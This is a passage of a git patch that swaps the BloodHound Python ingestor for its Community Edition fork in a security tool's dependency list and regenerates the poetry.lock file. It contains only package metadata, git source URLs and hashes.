+46,7 @@ dependencies = [ "impacket @ git+https://github.com/blacklanternsecurity/impacket", "oscrypto @ git+https://github.com/wbond/oscrypto", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", + "bloodhound-ce @ git+https://github.com/blacklanternsecurity/BloodHound.py.git@bloodhound-ce" ] [project.urls] From 2c69310a315c2275cb0b7476756ece77decbdf25 Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Thu, 29 May 2025 18:38:20 -0700 Subject: [PATCH 103/103] Regenerate lockfile with updated dependency --- poetry.lock | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/poetry.lock b/poetry.lock index 155563a61c..a67545fe23 100644 --- a/poetry.lock +++ b/poetry.lock @@ -400,24 +400,28 @@ files = [ ] [[package]] -name = "bloodhound" +name = "bloodhound-ce" version = "1.8.0" -description = "Python based ingestor for BloodHound" +description = "Python based ingestor for BloodHound Community Edition" optional = false python-versions = "*" groups = ["main"] -files = [ - {file = "bloodhound-1.8.0-py3-none-any.whl", hash = "sha256:97dcef77fa38dbab7219909c117eb9fd7263aff107cee0bf6fc7a0d0db9a61ac"}, - {file = "bloodhound-1.8.0.tar.gz", hash = "sha256:35ed0f1fdda2b1d79a4e9d891cabe2c55309a32743aeed16d885f3d809f409b3"}, -] +files = [] +develop = false [package.dependencies] dnspython = "*" -impacket = ">=0.9.17" +impacket = {git = "https://github.com/blacklanternsecurity/impacket"} ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" pyasn1 = ">=0.4" pycryptodome = "*" +[package.source] +type = "git" +url = "https://github.com/blacklanternsecurity/BloodHound.py.git" +reference = "bloodhound-ce" +resolved_reference = "890754a42f17a80b2709390782728d404ec32bff" + [[package]] name = "certifi" version = "2025.4.26" @@ -2519,4 +2523,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "10c3d9c1eaff49addd49ecfb9938705fa237710abd5f9a8bdbab29281e021a7a" +content-hash = "8f6da4b6d1d11103ecac5e39ca519ab8ed796e4292bcf489b033f42999d57ff8"